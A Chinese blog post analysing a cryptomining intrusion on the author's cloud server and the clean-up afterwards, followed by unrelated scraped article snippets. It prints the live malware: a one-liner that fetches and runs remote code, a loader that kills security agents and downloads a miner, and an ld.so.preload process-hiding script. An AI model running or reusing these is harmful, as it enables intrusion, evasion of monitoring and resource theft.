作者:tlanyan

链接:https://itlanyan.com/server-being-hacked-log/

常在河边走,哪能不湿鞋。自认为安全防范意识不错,没想到服务器被入侵挖矿的事情也能落到自己头上。

本文简要记录发现服务器被入侵挖矿的过程,同时分析木马的痕迹和信息,最后给出解决方法。

服务器被入侵挖矿过程

事情经过

昨天是周六,睡得比较晚。玩手机时忽然收到阿里云短信和邮件提醒,服务器有异常行为:

一看邮件内容就知道不得了,赶紧打开电脑处理。

首先用 netstat 命令查看端口,发现一个异常的端口,但不显示程序名。这时心里已经很清楚,服务器上的Java程序被远程执行代码(RCE),也许还被植入了 rootkit。

首要问题是保障业务正常可用,于是快速拉起另外一个实例,将业务迁移过去。接下来, 首先将被入侵服务器关机,然后一步步研究入侵过程,以及其在服务器上的行为。

入侵行为分析

根据邮件内容,一个 SpringBoot 应用被 getshell 并被执行远程代码。被执行的代码语句 base64 解码后为:

python -c 'import urllib;exec urllib.urlopen("http://m.windowsupdatesupport.org/d/loader.py").read()

将其下载,内容如下:

import sysimport osfrom os.path import expanduser
ver=sys.versionshs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs  -I {}  kill -9 {}rm -rf /usr/local/aegis
rm -rf /usr/local/qcloud
rm -rf /usr/local/hostguard/binps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs  -I {}  kill -9 {}'''os.system(shs)
domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl  http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")
gitdir=""try:os.mkdir(homedir+"/.git")except Exception as e:print(e)if os.path.isdir(homedir+"/.git"):gitdir=homedir+"/.git"try:os.mkdir("./.git")except Exception as e:print(e)if os.path.isdir("./.git"):gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"):    import urllib.request    with urllib.request.urlopen(downloadu) as f:html = f.read()open(gitdir + "/kworkers", 'wb').write(html)else:    import urllib2    with open(gitdir + "/kworkers", 'wb') as f:f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read())f.close()print ("Download Complete!")
os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'):os.system(gitdir+"/kworkers")else:os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))

远程代码主要做了这些事情:

  1. 卸载服务器上的安全监控工具;事后开机,发现阿里云盾果然被卸载了

  2. 关掉所有kworkers进程;

  3. 在当前目录下创建 .git 目录,下载并执行 kworkers 程序。

上网搜了一下 kworkers,发现是挖矿应用,并非加密勒索等木马,心里稍微安心一点。通过阿里云后台监控,可以看到木马入侵后,短时间内cpu占用率飙升(本人处理及时,木马挖矿时间大概持续5分钟左右):

服务器残留痕迹

大概知道了木马的行为,接着重启服务器,查看服务器上的痕迹。

1、查看有无添加定时任务:

# crontab -l
0 2 * * * /xxx/.git/kworkers

木马添加了定时启动任务。

2、进入木马主目录,发现下载了如下文件:

此外,上层目录和家目录还多了 cert_key.pem 和 cert.pem 两个文件,分别存放公钥和密钥。

3、查看木马留下的日志,有如下内容:

/xxx/.git
/xxx/.git
working dir /xxx from pid 23684
version not exist download
Downloaded: http://m.windowsupdatesupport.org/d/download
version not exist dbus
Downloaded: http://m.windowsupdatesupport.org/d/dbus
version not exist hideproc.sh
Downloaded: http://m.windowsupdatesupport.org/d/hideproc.sh
error exit status 1version not exist sshkey.sh
Downloaded: http://m.windowsupdatesupport.org/d/sshkey.sh
version not exist autoupdate
Downloaded: http://m.windowsupdatesupport.org/d/autoupdate
version not exist kworkers
Key path not found
/xxx/.git
passfound  protected
passfound  provided
passfound  +client
passfound  +client
passfound  protected
passfound  provided
passfound  quality
passfound  (plus
passfound  (digits,
passfound  prompt
found aksk xxxx xxxx
found aksk xxxx xxxx
passfound  xxx
passfound  xxx
passfound  xxx
passfound  xxx
passfound  xxx
passfound  xxx
lstat /proc/7776/fd/3: no such file or directory
lstat /proc/7776/fdinfo/3: no such file or directory
lstat /proc/7776/task/7776/fd/3: no such file or directory
lstat /proc/7776/task/7776/fdinfo/3: no such file or directory
lstat /proc/7776/task/7777/fd/3: no such file or directory
lstat /proc/7776/task/7777/fdinfo/3: no such file or directory
lstat /proc/7776/task/7778/fd/3: no such file or directory
lstat /proc/7776/task/7778/fdinfo/3: no such file or directory
lstat /proc/7776/task/7779/fd/3: no such file or directory
lstat /proc/7776/task/7779/fdinfo/3: no such file or directory
lstat /proc/7776/task/7780/fd/3: no such file or directory
lstat /proc/7776/task/7780/fdinfo/3: no such file or directory
lstat /proc/7776/task/7781/fd/3: no such file or directory
lstat /proc/7776/task/7781/fdinfo/3: no such file or directory
lstat /proc/7776/task/7782/fd/3: no such file or directory
lstat /proc/7776/task/7782/fdinfo/3: no such file or directory
lstat /proc/7776/task/7783/fd/3: no such file or directory
lstat /proc/7776/task/7783/fdinfo/3: no such file or directory
restart cmd  /xxx/.git/kworkers
/xxx/.git
passfound  file,
passfound  settings
passfound  file.
passfound  callbacks
passfound  Callback
passfound  example
passfound  prompt
passfound  password
passfound  information
passfound  token
passfound  token
passfound  token
passfound  Password
passfound  password
passfound  password
passfound  -based
passfound  Password
passfound  (using
passfound  field>
passfound  retry
passfound  foobar
passfound  foobar
passfound  foobar
passfound  foobar
passfound  foobar
passfound  password
passfound  password
passfound  foobar
passfound  foobar
passfound  secretr
total passwords 25
xxx.xxx.xxx.xxx
lan ip
doscan range  xxx.xxx.0.0/16
ping...
Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309µs
working dir /xxx from pid 7792
Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973µs
xxx.xxx.xxx is alive
xxx.xxx.xxx is alive
xxx.xxx.xxx:80  open
xxx.xxx0xxx:443  open
version  same download
version  same dbus
restart dbus
exec again dbus downrun
kill process pid 23709process completed
version  same hideproc.sh
skip restart hideproc.sh
version  same sshkey.sh
skip restart sshkey.sh
version  same autoupdate
skip restart autoupdate
version  same kworkers
Key path not found

根据日志,主要是下载程序,检测用户名和密码,探测内网,然后启动自动更新、隐藏进程等程序。

  1. 对 hideproc.sh 感兴趣,其内容为:

if [ "$EUID" -ne 0 ]  then echo "Please run as root"elseif [ `grep libc2.28 /etc/ld.so.preload`  ]  then echo "hideproc already done!!"elseapt-get update -yapt-get install build-essential -yyum check-updateyum install build-essential -ydnf groupinstall "Development Tools" -yyum group install "Development Tools"  -ycurl http://m.windowsupdatesupport.org/d/processhider.c -o  processhider.cgcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldlmv libc2.28.so /usr/local/lib/ -fgrep libc2.28 /etc/ld.so.preload  || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preloadrm -f processhider.cls >/tmp/.1  2>&1grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload  fifi

其首先检测是否root用户,然后编译 libc2 共享库,注入隐藏进程的代码。这应该是用netstat无法查看到进程名的原因。

5、查看访问日志,发现期间有个IP对服务器进行爆破:

其他信息

除了上述文件,/tmp文件夹下还生成了.1和.1.sh文件;

查询可疑ip,位于国内北京市,应该是肉鸡;

查询木马下载域名 windowsupdatesupport.org,今年6月注册,解析ip都在国外。该域名很有混淆性,并且为了方便直接用http访问;

除了下载木马文件挖矿,未改变服务器上的其他数据。

服务器被入侵挖矿解决办法

虽然知道是 SpringBoot 应用触发了 RCE,但遗憾目前仍未找到是哪个包导致的漏洞。目前采取的缓解措施为:

1、被入侵服务器重装系统;
2、使用非 root 用户启动 SpringBoot 应用;
3、被入侵的是子系统,增加基本授权:

apt install -y apache2-utils
htpasswd /etc/nginx/conf.d/.htpasswd user

然后配置 Nginx 使用认证信息:

server {...auth_basic  "子系统鉴权:";auth_basic_user_file /etc/nginx/conf.d/.htpasswd;..
}

4、防火墙限制对外连接。

上述错误能一定程度上避免类似情况再次发生,但找到应用程序中的漏洞才是接下来的重点。

总结

幸运的是这次来的是挖矿木马,服务器上的程序和数据都未受影响。也很感谢阿里云免费的安全提醒,让我在第一时间处理。

但这次事故也敲醒了警钟:

  1. 不要随意用 root 权限运行程序;

  2. 防火墙权限要严格收紧;

  3. 做好安全监控;

  4. 时刻做好数据备份。

推荐阅读:
世界的真实格局分析,地球人类社会底层运行原理
不是你需要中台,而是一名合格的架构师(附各大厂中台建设PPT)企业IT技术架构规划方案论数字化转型——转什么,如何转?华为干部与人才发展手册(附PPT)企业10大管理流程图,数字化转型从业者必备!【中台实践】华为大数据中台架构分享.pdf华为的数字化转型方法论华为如何实施数字化转型(附PPT)超详细280页Docker实战文档!开放下载华为大数据解决方案(PPT)

记一次服务器被入侵,没想到我轻松搞定了它~相关推荐

  1. 移动信号4g显示无服务器,手机没信号?4G变成E?简单几步,轻松搞定!

    原标题:手机没信号?4G变成"E"?简单几步,轻松搞定! 随着市面上各种手机信号放大器的普及和人们对手机信号放大器知识的认知提升,近年来手机信号放大器市场可谓十分火爆,各家各户都基 ...

  2. 轻松搞定网吧记费管理系统

    轻松搞定网吧记费管理系统   美萍和万象已经是过去了,现在有出现一些新的网吧记费管理系统---punwin, 呵呵,在网上搜一下关于破解pubwin的方法,怎么样?是不是少之又少?我们 这边新开了一家 ...

  3. 访问服务器 request.getheader(origin)为null_服务器磁盘不足,1分钟快速搞定!

    背景 对于系统服务器,一般由技术同学自行控制以及管理,但是针对服务器的监控以及告警比较容易被人忽视.所以经常会导致服务器上出现各种各样的问题.最常见的问题,就是磁盘空间被服务日志给打满了.当服务器上磁 ...

  4. 服务器root账号用户名和密码忘记了,宝塔忘记后台管理员账号密码怎么办?教你用这条命令轻松搞定...

    现在可以说百分之80的网站都在使用宝塔建站,宝塔是什么呢? 宝塔是一款非常受欢迎的服务器可视化管理工具,宝塔面板很多人都在用, 有些站长经常一不小心就把后台登录密码忘记了?或者用户名和密码都忘记了, ...

  5. 51php服务器稳不稳定,百度经验:两步搞定PHP-FPM优化,让服务器更平稳

    原标题:百度经验:两步搞定PHP-FPM优化,让服务器更平稳 导言:Web服务器的CPU指标和MEM指标异常,不稳定?可能是PHP-FPM进程重启机制的问题导致的,一同和百度外卖探索下如何优化吧.作者 ...

  6. 共享会话怎么设置没访问自动断开_云共享文档这种小事,何必专业NAS出手?蒲公英X1轻松搞定...

    前段时间出差,到了目的地之后才发现,辛辛苦苦准备了好几天的资料,拷到移动硬盘里之后,居然忘记放到公文包里了,让同事帮着一看,还在办公桌上.幸好没丢在路上,又麻烦同事帮我把资料打包之后传给了我.回来之后 ...

  7. kafka删除队列_没想到 Kafka 还会这样问,学会这些带你轻松搞定大厂面试!

    一.前言 自上次师兄遭受了面试官 「Kafka」 的暴击追问后,回来发奋图强,企图"「吊打面试官」",奈何还是面试官套路深啊,最近的面试,又被问到「知识盲点」了!让我们一起来看看, ...

  8. iphone5一会有信号一会无服务器,iPhone6S手机插卡信号时有时无,常见通病故障,掌握方法轻松搞定...

    今天收到一台苹果iPhone6S,此机是二修机,手机信号不稳,据机主说在一家非常出名的维修店修理过,没有修好,原因是基带爆裂,他还说这家修不好的别家不可能修好.一般来说基带问题,手机修复的可能性就不大 ...

  9. secureCRT连接服务器和文件传输( 一步搞定)

    1.在百度云盘存有此工具,获取到后解压执行即可,如下2 连接目标服务器 192.xxx.xx.xx 2.secureCRT连接服务器和文件传输 ,现象如下 登录后切换到root用户即可有权限操作    ...

最新文章

  1. MySQL导入导出数据和结构
  2. 《应用时间序列分析:R软件陪同》——1.5 习题
  3. Leetcode 295. 数据流的中位数
  4. JSP Problem(第一次创建Web Project报错)
  5. 计算机产品创新设计实践,基于TRIZ的计算机辅助机械产品创新设计研究
  6. [Linux] rpm 与 dpkg 用法比较
  7. Spring Boot集成Swagger
  8. 诗和远方:无题(四十七)
  9. 主函数是c语言的入口,代码逆向(一)——寻找main函数入口
  10. 关于Android的.so文件你所需要知道的 - 简书
  11. Component template should contain exactly one root element. If you are using v-if on multiple eleme
  12. 计算机菜单命令后省略号,windows菜单命令项的右边有省略号…表 – 手机爱问
  13. 【105】百度脑图-在线思维导图工具
  14. h5移动端开发中配置真机测试
  15. Red Hat linux9 初装配置
  16. html背景图片纵向缩小,css怎么把背景图片缩小?
  17. 简易购物车实体类的设计
  18. Intention Oriented Image Captions with Guiding Objects
  19. Unity Timeline运行时脚本控制Mute和UnMute(Mute/UnMute a timeline track via scripting)
  20. 为什么使用计算机辅助翻译工具中文译文,TCloud计算机辅助翻译工具

热门文章

  1. 苹果蓝牙日志如何获取
  2. iOS Swift 将公历日期转换为中国农历
  3. 奇瑞汽车用鸿蒙,奇瑞正式确认:将搭载“华为鸿蒙车机系统”,鸿蒙系统真的要来了...
  4. 树莓派连接WiFi连不上
  5. 使用内部RC的导致串口通讯错误率高甚至失败的原因及解决办法
  6. 04 带宽管理的队列规定
  7. 认识Access中的MDE文件
  8. Allegro通过宏录制设置快捷键
  9. 算法训练营学习笔记2
  10. SecureRandom的江湖偏方与真实效果